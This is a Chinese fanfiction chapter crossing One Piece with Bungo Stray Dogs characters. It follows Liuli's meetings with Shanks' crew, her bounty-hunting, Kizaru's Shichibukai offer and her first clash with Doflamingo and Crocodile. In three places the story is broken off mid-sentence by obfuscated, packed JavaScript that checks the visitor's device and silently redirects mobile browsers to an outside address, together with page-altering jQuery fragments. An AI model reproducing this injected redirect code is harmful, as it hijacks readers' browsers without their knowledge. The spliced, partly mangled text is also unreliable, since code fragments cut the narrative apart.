说着,我便抱着路飞走出酒馆,而身后的玛琪诺则是看着皮箱内流光溢彩的珍宝惊呼:“琉璃!这都是什么啊!” 我抱着路飞坐在港口边,看着停留在港口挂着海贼旗的船,询问路飞:“路飞想成为海贼吗?” 路飞乖乖坐在我身边,大笑道:“我要成为海贼王,找到传说中的大秘宝!” 我指着远处的海面:“路飞知道海面下有多少暗礁、暗流、海王类吗?路飞知道如何看指针跟海图吗?” 路飞丝毫没有从前提到学习便晕乎乎的样子,他自信满满:“我可以学啊!” “琉璃是不希望我成为海贼吗?”路飞困惑道。 我摸了摸路飞的头:“没有人可以阻拦另一个人的梦想,我只是希望路飞你能够知晓行驶在海面之上的危险,无论是海贼还是海军,亦或者你选者成为冒险家,只要在这片大海上,你欣赏了海洋的美好,自然也要承担海洋带来的风暴与磨难。” 路飞点点头俨然是已经做好了准备的模样,我笑眯眯举着路飞:“那就从学会游泳开始吧~” 说着,我便抱着路飞要跳入海中,打算先带着路飞游一圈,路飞也做好了准备,可连水都没有沾到,我们两个就被人给抱回了酒馆。 被人抱在怀里,靠在这位贝克曼先生的胸膛上,我并没有任何害羞的情绪,听着耳边的劝告之声,我选择沉默以对。 “咳,贝克曼先生也是好心……”玛琪诺小心翼翼安慰着我,我坐在角落里,抱着小皮箱一言不发。 自从回到酒馆,我便选择对他人之言沉默以对,一言不发。 路飞挠挠头:“那让贝克曼来道歉?” 一旁作为背景板的香克斯用力拍着贝克曼的背,嘴角的笑挡都挡不住。 “贝克……好心办坏事了哈哈哈哈哈哈哈!”香克斯手中的杯子摇摇晃晃,酒水洒在了地上也无人去管。 我长叹道:“我不是生气……我就是在想,我看上去原来是那么不靠谱的人吗?” 不过想想也是,我跟玛琪诺还有路飞相处了半年多,他们知道我的底细,不代表香克斯这些陌生人也知道,被拦下才是正常的。 路飞直言直语:“因为琉璃长的太小啦,要是琉璃脸上长满皱纹应该就不会被人认为不靠谱了吧?” 我听了这话只觉无力,但也的确并不生气了,摆摆手将皮箱打开,见里面的东西一样没动,方困惑道:“玛琪诺?都不喜欢吗?” 玛琪诺抽着嘴角:“太贵重了,而且我其实并没有帮你太多,只是照顾了你一段时间而已……” 我将路飞放到椅子上,跟在玛琪诺身后,亲昵道:“我知道呀,但这些东西在我家里都已经泛滥啦,拿出来我还担心你不喜欢呢,如果你不要,那就扔进海里好了。” 眉眼精致的少女吸引着许多人的目光,但少女半点都不在意他们的模样又让许多人失望。 不过美人总是拥有特权的。 玛琪诺无奈,最后拿出一条粉宝石项链后,便说什么也不肯拿,皮箱内只装了我给玛琪诺带的小礼物,玛琪诺既然不要,我便随手扔到了一旁。 路飞长叹道:“琉璃只关注玛琪诺诶。” 我微微挑眉,靠着柜台轻笑,将随乱的头发随意掖在而后,而后问路飞:“为什么路飞这样认为呢?” 路飞撅着嘴,“因为琉璃回来之后就只跟玛琪诺说话,也只给玛琪诺带礼物,我什么都没有诶。” “因为我重男轻女。”我面不改色。 路飞困惑的歪着头,我轻笑道:“就是轻飘飘的爱都给女性,重要的责任全都交给男性……路飞是小男子汉了,那就不要跟玛琪诺比较哦~” 一群人在一旁憋笑看我忽悠小孩子,我半点羞愧都没有,揉了揉路飞的脸,而后方才起身对玛琪诺告别。 刚刚看望过兰波,我心情好的路飞都能察觉。 酒馆再次喧闹起来,好似方才的安静都是幻象一般。 香克斯看着路飞,很是好奇,“琉璃看上去很年轻……是路飞的姐姐吗?” 路飞摇摇头,晃着腿说:“琉璃跟我没有血缘上的关系啦,之前琉璃失忆,被玛琪诺带回家里,前段时间恢复记忆后回家里探亲……应该是什么贵族家里的小姐吧?不过琉璃脾气很好,没有那些臭架子呢。” 香克斯与贝克曼对视一眼,香克斯继续套话:“那为什么琉璃抱着你跳进海里你半点都不反抗呢?” 只一个水性好应该不足以做到这点吧? 路飞大大咧咧道:“因为琉璃身上有珠子啊,水都会避开琉璃的,而且琉璃对小孩子脾气很好的,经常给我们做好吃的。” “路飞——”玛琪诺拉长声音,盯着路飞:“这两天不许去找琉璃,琉璃刚刚回来,需要好好休息。” 路飞撅着嘴:“我知道啦,玛琪诺不要把我当成小孩子!” “琉璃是做什么工作的呢?”贝克曼状似好奇。 玛琪诺擦着杯子,听了贝克曼的话也没想太多,无奈道:“琉璃啊,她从前卖了些身上的珠宝,看了几次医生后没有好转,就开始自己试着学医了。” 身为船医的本乡惊讶道:“这么短的时间就已经学有所成了?” 玛琪诺轻咳两声,用手挡着嘴:“做出来的药虽然恢复效果很好,但把皮肤染成了绿色……一个月才消下去。” 说好也好,说不好也不好,你要治疗效果那肯定是有的,但美观上肯定是半点不沾还要倒扣。 “所以那之后琉璃大受打击,再也没研究过这些,过了不久琉璃就恢复记忆,说是家里还有人在等着她的消息……”玛琪诺轻笑道:“过了一个月才回来呢。” 回到船舱内,香克斯望着风车村内,贝克曼进来后平静道:“死心了吧,人家好好的大小姐不当怎么可能跟咱们这些海贼一起生活?” 你当什么人都像是路飞那个傻小子一样呢?就算路飞,人家也有卡普这个海军英雄做靠山,你别告诉我你一个新世界闻名的大海贼真就一点也没看过我给你的情报。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15110104|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>香克斯晃了晃杯里的就,为难道:“没办法,你不觉得她走进来的时候就像是蝴蝶一样吗?” 脚步轻快的走了进来,好像踩着所有人的心弦一般,眉眼间的疲惫压不住兴奋与喜悦,面容也是少见的精致,肤色白皙,瞧着就是没有经受过风吹雨打的模样,但偏偏一举一动间除了良好的教养外也带出了隐隐的防备。 这种防备并不是寻常的见到陌生人的防备,而是确信自己有实力可以在任何情况下都能安全无忧,对待可能存在的敌人的防备。 换句简单的话来讲,那就是这位琉璃小姐是经受过体术训练的……但没有动过手,所以香克斯不确定对方是不是与海军有关。 贝克曼冷笑一声,“人家是海军还是什么,都跟咱们这种臭名昭著的海贼没有关系,你想的太多了。” 八字没有一撇,你就开始想这想那,人家都没将你放在眼里。 打击过不靠谱的船长后,回到房间的黑发男人轻轻摩擦着手指,鼻尖仿佛还萦绕着少女身上浅淡的香气。 窗外一轮圆月倒映在水面上,随着海浪迭起,化作散碎银光晃得叫人不禁回想起那位琉璃小姐腰间悬挂着的宝石细链。 那一抹银光好似生死混战之间的刀光一般,让人不自觉便被吸引去了目光。 她知道吗,在她踏进酒馆那一刻,酒馆内看似和善的这些海贼便蠢蠢欲动想将她也拉到船上,让她也成为他们的共.党。 她知道自己裙摆翻飞之间隐隐露出的鞋跟都好似踩在了人的胸膛处吗?一声声鞋跟撞击木板的清脆声响,叫人的心跳都不自觉跟着一同跳动。 她知道自己跟在她后面,看见她想跳进海里时心脏停顿了一瞬吗? 她大概是不知道的,正如路飞所说,她似乎不曾在乎旁人,只在意那位酒馆的老板,玛琪诺小姐。 不过想想也是,跟他们这群见色起意的海贼比起来,肯定是好心救下失忆少女的玛琪诺小姐更容易让人放松警惕。 贝克曼抽着烟,整理着下面送来的情报,一点都不觉得自己说自己见色起意有什么好羞愧的。 毕竟一见钟情,本质上也就是见色起意的另一种解释。 离开酒馆回到暂居处休息的我并不知道那些家伙那么多戏,还在跟系统斗嘴。 【为什么要当海军?我才不要!】我操控着淡水将落了些许灰尘的房间清理过后,又将污水随手扔去窗外。 系统苦口婆心:【我们要救下艾斯,那总不能去当海贼吧?不然每天都要小心自己会不会被人追捕啊!】 换上睡衣后我打开兰波的爱心便当,边吃边吐槽:【你说的好像我当海军就能轻松到哪里去一样……不去!】 系统的确不能反驳这点,但是也坚决否定我打算去试试当海贼的想法。 最后我们两个各退一步,我不当海贼,但也不打算当海军,但是过去镀个金当几年文职我可以接受,系统不逼着我当海军,虽然依旧不支持我当海贼,但提出来了一个新的职业。 “海贼猎人?”香克斯惊讶道:“但是如果都当海贼猎人了,为什么不去当海军呢?” 我撇撇嘴:“我是想去自由一点当海贼,可是我的家里人不放心,想送我去当海军,争执之下最后折中了……而且任何事都不是非黑即白的吧?” 我揉着路飞的脸,笑吟吟问路飞:“路飞以后要不要当一个穷凶极恶的大海贼,最后被我抓去领奖金呀?” 路飞含糊道:“不!我要冒险!” 见路飞挣扎的厉害,我便对香克斯摊手:“就是这样,有些海贼为了财富,有些为了名声,有些为了美色,有些为了地位,还有的为了梦想,且不说梦想是什么,但其中总有一部分像是路飞一样天真可爱的孩子吧。” “打扰一下……”贝克曼在一旁困惑道:“琉璃小姐今年多大了呢?” 我惊讶道:“诶……玛琪诺跟路飞都没有说嘛?” 香克斯在一旁吐槽:“他们瞒你的消息瞒得可紧了,我们完全打听不出来呢……” 【打听,他用了打听!】系统尖叫道:【我不允许!我们才远离一个男鬼,我不允许你身边再出现一个男鬼!】 23.无敌 听着系统的尖叫声,我打量着面前看上去热情爽朗的香克斯和冷静理智的贝克曼,再看看旁边坐着喝酒的众人,而后面不改色:“既然是大海贼,就从路飞嘴里试着套话吧~” 玛琪诺路过轻轻敲了一下我的头,无奈道:“不要开玩笑,路飞哪知道你的年龄,他连我的年龄都不知道啊。” 我撇撇嘴:“傻乎乎的,我在七岁的时候都已经学会了如何独立生存了。” “独立生存?”香克斯好奇凑过来。 我皱着眉将香克斯推开,甩了甩被胡茬扎到的手,而后平静道:“对啊,独立生存,毕竟我那对父母是只顾及彼此,完全不会在意我的类型……” 水杯中棱角分明的冰块上下沉浮,带起一串细小的气泡,我盯着杯中的气泡轻飘飘的上浮,它们小的需要将眼睛凑近才能看清轨迹,却又在折射出虹光的冰块附近叫人难以忽略。 真真假假的,他们又不是兰波,陌生人而已,能得到真假混杂的假消息就很不错了。 “不过还是很庆幸的,毕竟他们死之前还给我留下了一大笔钱,感谢他们死的足够早。”我双手合十拜了拜,【感谢系统宝贝让我不必为金钱忧心。】 难不成我会抛下系统选择相信这些看上去和善的海贼吗? 我看上去很傻? 轻轻敲了敲杯壁,见玛琪诺一副担忧的模样,我方才笑道:“但我有我哥哥呀,现在家里的一切都不用我来管,但一切财产都在我名下……” 想起兰波,我不禁轻叹道:“没有他,这个世界在我眼中大概都会失去颜色。” 连名字都没有提到,仅仅只是提到这个存在便下意识柔和了眉眼…… 原本就有点因为得不到感兴趣的存在而不爽的香克斯见状更是不爽,但他却也清晰知晓,面前的不是什么能被自己随意带走的珠宝,更不是什么主动上来投靠的势力,面前是一个活生生有反抗能力的人。 而且目前只是一点感兴趣而已,香克斯还克制的住。 “不过虽然说是当海贼猎人,但也只是因为这样自由一些吧。”我撑着脸对玛琪诺叹气,“自由啊……就像是你身上看不见摸不着的羽翼一样,你拥有自由时只会抱怨,你会说自己贫穷,你会悲愤自己如今的一切遭遇,你会说无人爱我,可等你失去了这些,你又会跪下,你哭着祈求,你扇自己的巴掌,就像男人发誓一样。” 她撇撇嘴:“男人嘴里说出的话,就像是狗‘汪汪’叫了两声一样,你把他当成人,你会生气,你把他当成狗,你就不会将他说的话当真,你会发现天蓝水绿,一切可爱。” “自由才是最重要的,当海军去向带着鱼缸头罩的猪献媚?还是当海贼要一直朝不保夕?”我对着明显呛到的众人摊手:“所以说,还是当个混吃等死的海贼猎人比较好,起码足够自由。” “海贼也可以很安全的!”路飞十分自信:“以后我成为海贼王,琉璃来我的船上,到时候琉璃就是最安全最自由的海贼了!” “不要。”我毫不留情拒绝掉路飞:“如果一定要成为海贼,我会把我哥哥拉出来,到时候他做我的副手,我负责当一个什么都不用操心的船长……” “重点是什么都不操心?”路飞迷茫道。 我仰着头笑了,“重点是我哥哥啊,没了他做什么我都会觉得无趣的。” 成功被忽略的香克斯试图挣扎:“但如果在四海,其实也没有什么有名气的海贼吧?但是去了新世界,海贼猎人反倒两边都不讨好哦。” “可我有钱。”我撑着脸看着香克斯,含笑道:“你名下有矿产吗?” 海贼大都只喜欢劫掠财宝,搜刮宝藏,小部分大海贼才会经营自己的势力……红发海贼团的确属于这个范围之内,但大海贼们自然有势力主动投靠,所以名下拥有矿产的,还真是少数。 的确并没有矿产在名下的海贼们听的一愣一愣的。 “我名下可不仅仅只有几个小商铺哦,矿产、不动产、岛屿……”我名下究竟有多少钱财,即便是我自己,也是说不清楚的。 钱,能打通一切的关窍,在这之外又拥有武力,的确让人无话可说。 说完这话的少女没过几天便没了踪影,香克斯去问,方才从玛琪诺口中得知琉璃已经跑去了新世界。 “可她有船吗?”还想着短暂与少女同行的红发如此询问。 玛琪诺笑了,“琉璃呀?她有自己的船哦,比香克斯先生你们的船还要华丽呢,据说上面还有负责照顾琉璃的木偶,好像是琉璃哥哥的能力呢,据说那是一位能力者……” 后来贝克曼曾经询问过香克斯,只与他们短暂偶遇,而后又毫不犹豫便转身少女在香克斯眼里是什么呢? “风。”已经成为四皇,却依旧不能与少女见面,只能从各种情报与报纸之中拼凑少女生活的香克斯摸着自己的断臂,轻叹道:“她像是风。” 她奔向了我,我以为她会停留在我身边,可后来我发现,她是风,所有人只能感受她,却不能捕捉她,所有人只能看着她停留之处所残存的痕迹,却没有任何一个人能让她心甘情愿停留在自己的身边。 她柔软的笑意只能停留在记忆之中,她轻快的脚步声只能残留在梦境之中,她不能被任何人禁锢,因为看似柔软轻缓的风也能掀起风暴,让所有人为之停顿,为她拥有强大力量却甘愿克制的温柔模样而心动。 “她是我试图挽留却只能目送的风。” 没人能让她为之驻足,也没人值得她落泪,因为风是自由的。 * 离开了风车村,眼见着系统安静下来,我甚至有些哭笑不得。 闻着鼻尖咸腥的海洋气息,我十分好奇:【其实兰波没有对你做什么吧?你怎么这么生气呢?】 系统冷笑一声,【你别管!】 我摊摊手,不管就不管,我也要好好想想之后去做什么才行。 当海军?免了吧,从前我都不去考公呢,更何况现在。 当海贼?有点太极端了,四海无趣,新世界倒是有意思,但新世界被三皇把持,我也不想投靠什么势力……又不是谁都是兰波。 那……悬赏猎人呢? 顶着悬赏猎人的名头,我闯进了新世界,一片神秘莫测、在这个大海贼时代被无数人所向往的地方。 前往新世界,首先要去颠倒山,我本来也想见一见颠倒山的景色,但最后还是选择了放弃。 【咱们没有必要没苦硬吃吧?】指引着我来到一片海岸边的系统让我直接跳进海里。 我下意识的想法是:这家伙想让我死。 随后,我方才想起来,我是个鲛人,不是个纯人类,旁人需要征服海,可我只需要拍拍手,海便会用最轻柔的姿态奔我而来。 落入海中的瞬间我便化作鲛人姿态,搭着海中海王类的顺风车来到了新世界。 四海,或者说风车村附近的海域我的确还算熟知,平和、宁静,连风都是轻柔的,好似母亲拍着孩童入睡的手一样,带着独属于海洋的咸腥之气。 可新世界的海不同,它时而宁静地让人想要久久陷入黑甜梦乡,时而汹涌地让人心生惶恐远远避让。 海面平静抑或不平,都不能让人忽略那海面之下的暗礁、涡流。 第四次因为暗礁导致船被撞坏,我终于选择放弃学习如何掌控船只。 看着船上从最初惶恐到现在麻木的那些海贼,我随手找了个木偶给系统掌控,系统熟练修好了船只后便掌控了船舵,我坐在船头感叹:“人无完人,看来以后还是不能自己开船。” “你早该反应过来了吧!!”那些因为上了通缉令被我抓到船上的海贼露着鲨鱼齿大喊。 我只当没听见,到了最近的海军基地后拖着这些人将赏金兑换到手后,便转身离开。 周而复始,直到我在海鸥每日送来的世界报上看到我某次将海贼送去领赏金的照片时,方才恍然,原来我也成了能被世界报刊登的存在。 【这很正常。】系统并不认为这有什么值得惊讶的,【琉璃可是能跟超越者并肩的存在,这个世界的能力者大部分都是因为吃了恶魔果实,但吃了恶魔果实就会无法游泳,琉璃在这个世界,就算实际实力不如他人,但是就像波德莱尔说的一样,你打不过他们,他们追不上你,四舍五入琉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114999|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 璃就是无敌的!】 我做梦都不敢做这么大的。 听着系统的声音,我只想让系统清醒清醒。 亲亲,你敢这么说,我都不敢这么做梦啊。 不过有系统这么一说,我原本五味陈杂的心绪倒是被冲淡了许多。 在这样陌生的异世之中,有熟悉的存在能陪伴在自己身边,我总是能更放松些的。 躺在藤椅上,望着远处连成一线的海天,我又想起了兰波。 上次回去,兰波瞧着憔悴了许多,我总觉得他似乎一直都是抱着我不会再回去的心态在等着我,所以在看见我之时才会分外惊讶,才会在我回去那几日一直跟在我左右,才会在我再次离开时如释重负。 我似乎总是比兰波先一步抽身,我似乎总是将兰波抛在身后,我似乎……对不起他。 我有愧于他,但似乎也仅限于此,我爱他,但这份爱总是掺杂了太多,兰波对我如何?听之任之,给予全部,可我呢?我只能还回三分,这不好,但我不想改。 兰波爱我,那就要爱我的全部才行,不是吗? 【你有本事这么想,有本事就不要每天一封信让我送回去……】系统幽幽道:【你又没特意控制,难不成当我是摆设吗?!还有,你手里的袖扣是打算送给谁的!】 我弯弯眼,手一翻将袖口收起,正要糊弄系统,就见面前突然多了个穿着黄色西装,披着海军正义披风,瞧着有些苦相,颇显老态的男人站在我面前,一副墨镜挡住眼睛,也挡住眼中思绪。 【哇哦,来人咯。】系统轻笑:【行了,也不用跟我解释了,看看这位海军是来做什么的吧。】 “哟。”我抬抬手,对这人笑道:“黄猿大将怎么也来到我这破船上了,真是贵客临门,有失远迎啊。” 比起面对兰波跟系统时我想哭就哭想闹就闹的做精模样,对于这些我认为的外人,我向来都是十分礼貌的。 黄猿打量着面前懒散躺在藤椅上的青年女性,同样奉上笑容:“哎呀……老夫也是被迫无奈啊,毕竟能以赏金猎人的身份同时狩猎败类海军与赏金颇高的海贼,想必被赞誉为可与明月比肩的猎人小姐应该不会觉得老夫此举失礼吧?” 我沉默半晌,困惑道:“谁取得外号?真是有够难听的。” 黄猿似乎是没有想到我的注意力会放到这上面,极为明显的顿了顿,而后方才道:“老夫也不知道耶。” 没将这事放在心上,我起身引领这位大将走进会客室内,也没上茶,面对面坐着,示意他赶紧说正事。 黄猿翘着二郎腿,脸上的笑从始至终都不曾落下,修身的西装让他的肌肉隐约显露,一双长腿足以让大部分人的目光被吸引。 不包括我。 尤其是我心知肚明自己跟海军只有纯粹的利益关系时,我心里更是提起了警惕。 来者不善啊…… 我在思索黄猿这个海军大将怎么会屈尊来到我这艘小船上时,黄猿也在想自己此行究竟能否招揽成功。 是的,招揽。 赏金猎人琉璃,在海军眼里一向都是一个能够友好合作的存在,有分寸有实力不张扬不弑杀,对于大部分海军中高层而言,这位琉璃女士除了不肯接受海军招安请求外,没有任何缺点。 黄猿透着墨镜,看向对面依旧一副没有精神模样的女性,将海军方能给出的好处说了出来,并推出一份合同。 “王下七武海?”我翻阅着合同,看着上面第一条,轻笑道:“废除通缉令?这可吸引不到我。” 申请特权倒是有些意思,可说到底不还是要自己去守着?海军跟世界政府说白了,不就是想空手套白狼? 我将合同推给黄猿:“七武海这件事情如果只能做到这一步,那就没有商量的必要了,我想诸位应当明了我的意思……” 我看向黄猿,起身走到他身边,轻轻摘下他衣领上看似正在沉睡的电话虫放在桌上,随手掏出棉帕擦了擦手后方才温和道:“或许诸位需要一个短暂的私人空间?” 目送着身形娇小的少女离开,黄猿拿起电话虫,无奈道:“老夫可什么都还没说啊……” 24.书信 被发现了啊。 黄猿点着桌子,等着对面的同僚们给出一个答案。 “我不同意。”赤犬皱着眉,一副凶神恶煞的模样:“今天她说要提高待遇,明天他说要提高待遇,海军颜面何在?!” 赤犬对于海贼那是宁可错杀一千也不愿放过一个,本身对于七武海这个制度就不满意,虽然本身对于这位猎人女士并没有恶意,但也并不妨碍赤犬反对海军开了这个头。 战国看向卡普:“她曾经被风车村的人救下,风车村的评价如何?” 卡普吃着仙贝,大大咧咧道:“一个家世不寻常但有报恩之心的正常人,不过比较偏爱自己的救命恩人,这一点其实没什么好说的吧。” 毕竟救命恩人跟旁人分开来算,那不是很正常的事? 与其说这是个普通人,不如说这是新世界里难得三观正常的正常人。 看着几人众说纷纭,最后战国拍板,让黄猿询问对方想要什么。 “想要什么。”我看着黄猿,重复道。 黄猿单手插着兜,也不藏着电话虫了,十分平和道:“对,你想要什么,提出你的要求。” 潮湿的海风吹来,我装扮着身边的木偶,最后与黄猿和其背后的海军道:“那就让旁人不要来轻易打扰我好了。” 我望着面前这片没有被污染过的海域,轻叹道:“一切的陌生人,不要让他们过来打扰我,我喜欢美丽的风景,不喜欢总是打打杀杀的……相信海军应该可以做到的,对吧。” 总是有人过来打扰我,我也很烦躁啊,崇拜啊采访啊挑战啊,无论是谁,难不成新世界外加四海,海军带上海贼,就找不到一个能超过我的强者不成?还是看我是软柿子这才找过来? 我不知晓,但无论是哪一点,都不足以让我为他人而让步。 如果我伤害自己只是为了他人的利益,那这对还在等待我的兰波又是如何的伤害呢? 他似乎没想到,我说的条件就只是这个,脸上的困惑挡都挡不住。 我捧腹大笑,半晌方才问他:“海军应该查过我的身世吧?” 不等他说话,我又问:“那你觉得我缺钱?缺权?还是缺一个能保护自己的人?” 很显然,都不缺啊,而且我一个独行侠,需要什么? 刚刚不过是试探一番对面的态度而已,态度试验出来了,也没必要现在就撕破脸皮。 * 黄猿看向对面松散着头发的少女……或者说长着少女面容的青年。 明明已经二十三岁,却还是一副少女面容,相较于旁人相比,身量纤细,个子娇小……难怪那么多不长眼的蠢货一个接一个找上门最后被送进推进城。 海风吹起几缕碎发,她的眼瞳如枝叶间漏下点点碎光一般,可若是仔细瞧,又好像被朦胧雾气笼着,瞧不清眼底思绪,言语之间耳旁那点点碎红又透过发丝叫人难以忽略。 黄猿透着墨镜,看着面前这位不做贵族也不接手家产跑到海上当海贼猎人的小姐,熟练地勾起一抹笑:“老夫也不知道……但想来也是不缺的吧?” 独属于女性柔软的躯体被轻薄柔软的布料包裹,看似纤细的手臂却也有薄薄一层肌肉,看似柔弱的女性却也在他人上门挑衅时毫不留情,将数十人组成的海贼团送进推进城,看似胃口大开试图让海军被咬掉一块肉,可最后却也只不过轻飘飘甩下一句不许生人近前。 柔嫩纤细好似被风雨轻轻拍打就会碎裂的花却拥有可以与巨树比肩的力量,看似不知满足实际上却也只是为了得知海军如何看待她…… * 我不知这位黄猿大将如何看我,只是问他:“既然是七武海,余下六人又是谁?” 黄猿卖着关子没有说,只与我说一月后前往马林梵多签下合同。 看着黄猿留下的电话虫,我放在系统操控的木偶手里,目送着黄猿离开。 波浪翻滚,挡不住那一点锐利亮光,更挡不住的,是携带相机试图离开的海鸥。 我拔出腰间锈迹斑斑的青铜剑,锐利寒芒让那海鸥振翅更快,我并不理睬,轻轻跳上栏杆,长剑横于眼前后,轻轻挥出一剑,见刚刚好毁掉了那相机,便没多想,转身回了书房思索除我之外其余几位七武海都是谁。 根据方才黄猿所言,七武海所选之人应当都是不曾在那几位海上皇帝势力之内却又能闯出一片名声的强者,既然如此,那可选范围就大大缩小了。 【你知道都是谁吗?】我询问系统。 系统没有说话,我又问:【有没有我打不过的?】 【有。】系统十分肯定。 毕竟跟自家孩子还秉持着如非必要不动杀心的天真心态相比,那些家伙各个手里见血,几乎没有什么善类。 系统严肃道:【琉璃,我说过,我们以后面对的世界可能更险恶,也可能更轻松,但无论如何,你的心态都需要改变了。】 【你不能永远不杀生。】 在这样的世界,有时候不杀人,就只能被人杀。 我阖眼心绪复杂:【我知道……你再给我一些时间。】 系统欲言又止,最后也没有说什么强迫的话,只是温声道:【好好休息吧,浴池的水一直都是你喜欢的温度,我放了精油跟花瓣。】 拥有了木偶可以操控,很多事系统便会先一步想到,无论能否用到,系统绝对不允许琉璃离开男鬼之后生活质量下降。 每天在船上已经很委屈了,生活质量绝对不能将就。 我与系统一通互夸,这才跑去浴池里放松。 我没有黄猿那般本事,自然要提前前往马林梵多,而且香波地群岛我也不曾去过,此番也是过去欣赏一番当地风景。 穿着吊带睡裙伏在书案上,我专心写着自己的遭遇和说不出的思念。 【兰波亲启: 今日得见海军大将黄猿,远不及你,他带来海军想设立王下七武海一职,招安我为七武海之一,我应允了。 或许在兰波身边被保护的太好,来到这里,我看见他们将同类或异族当作奴隶也气,看到他们不知反抗只知顺从也气,看到某些岛屿上甚至设立买卖与拍卖奴隶的场合也气…… 我似乎想做些什么,但我贫瘠的心灵却不允许我做些什么。 …… 兰波,家中与你一同栽种的花还好吗?中也还在学习体术被压着不许使用异能吗?魏尔伦依旧还在迷茫自己与常人的区别吗? 上次回家,总觉你似乎憔悴了,我很担心你,我一切安好,距离上次见面不知过了多久,我想回家看看你,但我也希望再见面时,我能与兰波并肩作战,而不是被兰波护在身后。】 将想到哪里说到哪里的信件与我最近拍好的照片让系统送到兰波手里后,我方才前往香波地群岛。 由亚尔其蔓红树树脂组成的泡泡遍布整个香波地群岛,我刚下了船,系统伏身的木偶便掏出电话虫。 我定睛一瞧,原来是先前黄猿留下那联系海军的电话虫。 对于电话虫,我并不喜欢放在手里,所以大都是交给系统保管,但既然响了,我自然不能挂断。 接了电话,对面沉默片刻,而后一道陌生女声响起:“天龙人正在香波地群岛,我想,以你平日里的行事作风,应当是不想在此时登岛的。” 一声冷笑后,我带着木偶转身上船,那女人平静道:“一月之期将至,除你之外,其余六人均已在本部。” “叫人来接我。”言罢,我便让系统将电话虫收起,将船驶向海军本部所在的马林梵多,直至船上多了位见了我便叹气的黄猿,我方才让系统加速。 原本在办公室悠闲喝茶,结果因为另外两位大将一个还在处理文件,另一个担心其余被选为七武海的人有什么异心,所以正在盯着,鹤看来看去,最后将黄猿派了出来接人。 而半路遭殃的黄猿也只能感叹自己今天运气不好。 我冷笑道:“运气不好?你现在去香波地群岛,运气大概更不好。” 黄猿平静又温和道:“原来如此……怪不得参谋会让我匆匆过来啊。” 原来是担心年轻人一时冲动啊。 黄猿站在少女身边,平静道:“有些事物存在自然有他的道理,你不喜欢,那就避让开,没必要为了他人让自己深陷其中。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119062|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 从前年轻气盛,黄猿也不解,也愤怒过,可那有什么用? 我对此不发一言,只在下船时与他道:“你不适合做什么人生教师,收收你的好心。” 我承认,我卑劣,我明知他人受苦,可我不愿做那个救苦救难的菩萨,我承认,我不愿,起码在确定自己离开这个世界后便再不会回来之前,我不愿如此。 但黄猿一番话,不像是安抚我,更像是挑拨我,他不适合做什么劝解他人的工作。 黄猿摸了摸鼻子,没有说话,指了个小兵带我去会议室后,方才悠悠道:“说是一月,但旁人大都提前赶到,只有你真真正正想卡着一月的期限……真的不怕海军不耐烦吗?” 我转身看都不看身后这个橘子皮:“不耐烦?那就换人,你们不缺备选,我也无所谓你们给出的条件。” 七武海的身份的确能避免一部分麻烦,但也仅仅只是一部分而已,有没有这个身份,对我影响不大。 踏进会议室的门,见其中落座众人均抬眼看来,我同样打量回去。 其中大部分,都算是通缉令上的熟面孔,剩下少数一两个倒是陌生。 不过对他们而言,我大概才是那个真正的陌生人。 “咈咈咈咈咈!”身穿着粉色羽毛大衣,戴着墨镜的金发男人发出奇怪的笑声,“原来近段时间声名赫赫的月光猎人也在七武海之列啊……不过一个娇弱的贵族小姐,也有实力与我们共坐吗?” 话音未落,熟道丝线便将我周身包围朝我袭来,与此同时,我脚下点点沙砾也朝我涌来,数面夹击,我只想打个哈欠。 青铜剑出手,锈迹斑斑的外表惹得他人嘲笑,可少女却面色不动,看似纤细的手臂将那青铜剑绕身一圈,斩断丝线与尘幕后,脚尖一点,为一旁背着刀的男人带去丝丝凉风,也为两位友好打招呼的未来同僚送上两份见面礼。 眨眼间,穿着粉色羽毛大衣的金发男人与一旁叼着雪茄的黑发男人胸口处多了两处贯穿伤,两声闷哼与少女轻轻落座后毫无杀意的模样让他人终于正眼看人。 那剑依旧锈迹斑斑,泛着古朴的青,那人依旧纤弱娇小,面容白皙眉眼精致,可无人再小瞧那剑,因为那剑被最适合它的主人握在手中,无人小觑那人,因为她刚刚连对方都没反应过来便送上两处贯穿伤的模样足以让不了解她的人重视她。 她没有杀意,所以那两个人才能活着,反之,两处贯穿心口的致命伤,足以让此二人失了性命。 “好了,现在大家就能和睦相处了,对吧?”我盯着攻击我的两人,对他们仇视我的眼神毫不在意:“见面礼,好好收下哦,之后见面我依旧会送上一份见面礼的……希望你们喜欢。” 无视他人,我只针对多弗朗明哥与克洛克达尔。 正巧坐在我对面,留着黑色长发的女人冷笑道:“男人啊,总是以貌取人,当真是惹人耻笑。” “有这样的能力……你竟然还愿意当七武海?”那金发男人没了笑意,皱着眉看着我,全然没有要去处理伤口的意思。 